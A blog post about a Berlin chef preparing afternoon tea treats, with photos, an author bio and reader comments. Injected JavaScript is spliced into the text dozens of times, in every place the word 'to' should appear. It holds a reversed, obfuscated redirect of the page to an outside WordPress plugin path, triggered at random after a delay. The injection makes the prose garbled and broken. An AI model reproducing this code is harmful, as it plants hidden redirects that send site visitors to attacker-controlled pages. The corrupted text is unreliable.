Diva News Network with Special Guest: Chef in Berlin – Making Tea Time Treats

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 300px; TEXT-ALIGN: center” alt=”” src=”http://2.bp.blogspot.com/_kcTb8DnPVW4/TBokKogbfcI/AAAAAAAAE5o/yi050bGkomM/s400/003.JPG” border=”0″ />Dear Diva Readers,

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:2px;padding-right:5px;font-family:times;”>In this special Diva News Network I invited my good friend Jill DiGiovanni toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be a special guest on DNN! Together we’re going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to show you some behind the scenes details on preparing some super simple recipes for doing an Afternoon Tea Party – Diva Style! Jill is the brains and beauty behind the international cooking school (and exclusive caterer) Chef in Berlin.

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 354px; TEXT-ALIGN: center” alt=”” src=”http://4.bp.blogspot.com/_kcTb8DnPVW4/TBokLieRA_I/AAAAAAAAE6A/KKWEU5voV1A/s400/230.JPG” border=”0″ />What I love about Jill’s classes is how simple she makes entertaining and now – whether you’re here in Berlin or at home across the pond – you can benefit from Jill’s gourmet knowledge as she shares on DNN secret hints and tips on how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cheat in the kitchen. From preparing simple tea sandwiches toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a dazzling dessert – no one would ever know it’s down-right easy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to prepare!

Diva News Network with Special Guest Chef in Berlin

Of course, this video is only the tip of the iceberg! Want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to find out how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make those other 2 treats you see on our tray? Watch Two More Additional “Chef in Berlin” Videos:

Beet & Goat Cheese Tea Time Sandwiches

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 300px; TEXT-ALIGN: center” alt=”” src=”http://1.bp.blogspot.com/_kcTb8DnPVW4/TBokLFWsxEI/AAAAAAAAE5w/iUrwMh10SHA/s400/024.JPG” border=”0″ />

Salmon Mousse and Caviar Puff Pastry


toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 366px; TEXT-ALIGN: center” alt=”” src=”http://4.bp.blogspot.com/_kcTb8DnPVW4/TBokLVqmwyI/AAAAAAAAE54/sK3zEa6WxvA/s400/188.JPG” border=”0″ />

Happy Entertaining!

The Antiques Diva™

(Photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Credit Right: CrissCross)

PS. I’d love toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to see how you entertain! Send me some pictures toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to post on my site of your next tea party! toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toma@antiquesdiva.com

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Author: Toma Clark Haines

Toma Clark Haines is a Global Tastemaker, Speaker, Writer & Entrepreneur; and founder and CEO The Antiques Diva® & Co, Europe, Asia and America's largest Antiques Sourcing & Touring Company.

7 thoughts on “Diva News Network with Special Guest: Chef in Berlin – Making Tea Time Treats”

  1. Hi Toma-just wanted to say everything looks great,as it always does.By the way,I want those yellow chairs!!!!

    Love and miss you,
    Your Other Mom

  2. Toma thank you so much for the Tea Party "Diva Style" – it was a real pleasure to spend the day with you!! The tea set is stunning and you have so many lovely pieces! You're the BEST :))

    your Berlin Bud,

    Jill

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